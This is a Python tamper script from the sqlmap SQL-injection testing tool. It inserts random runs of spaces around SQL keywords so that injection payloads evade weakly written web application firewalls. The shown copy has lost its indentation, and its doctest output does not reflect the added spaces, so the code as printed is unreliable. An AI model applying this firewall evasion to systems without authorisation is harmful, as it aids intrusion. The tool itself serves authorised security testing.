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#!/usr/bin/env python
"""
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import random
import re
from lib.core.data import kb
from lib.core.datatype import OrderedSet
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Adds multiple spaces (' ') around SQL keywords
Notes:
* Useful to bypass very weak and bespoke web application firewalls
that has poorly written permissive regular expressions
Reference: https://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt
>>> random.seed(0)
>>> tamper('1 UNION SELECT foobar')
'1 UNION SELECT foobar'
"""
retVal = payload
if payload:
words = OrderedSet()
for match in re.finditer(r"\b[A-Za-z_]+\b", payload):
word = match.group()
if word.upper() in kb.keywords:
words.add(word)
for word in words:
retVal = re.sub(r"(?<=\W)%s(?=[^A-Za-z_(]|\Z)" % word, "%s%s%s" % (' ' * random.randint(1, 4), word, ' ' * random.randint(1, 4)), retVal)
retVal = re.sub(r"(?<=\W)%s(?=[(])" % word, "%s%s" % (' ' * random.randint(1, 4), word), retVal)
return retVal
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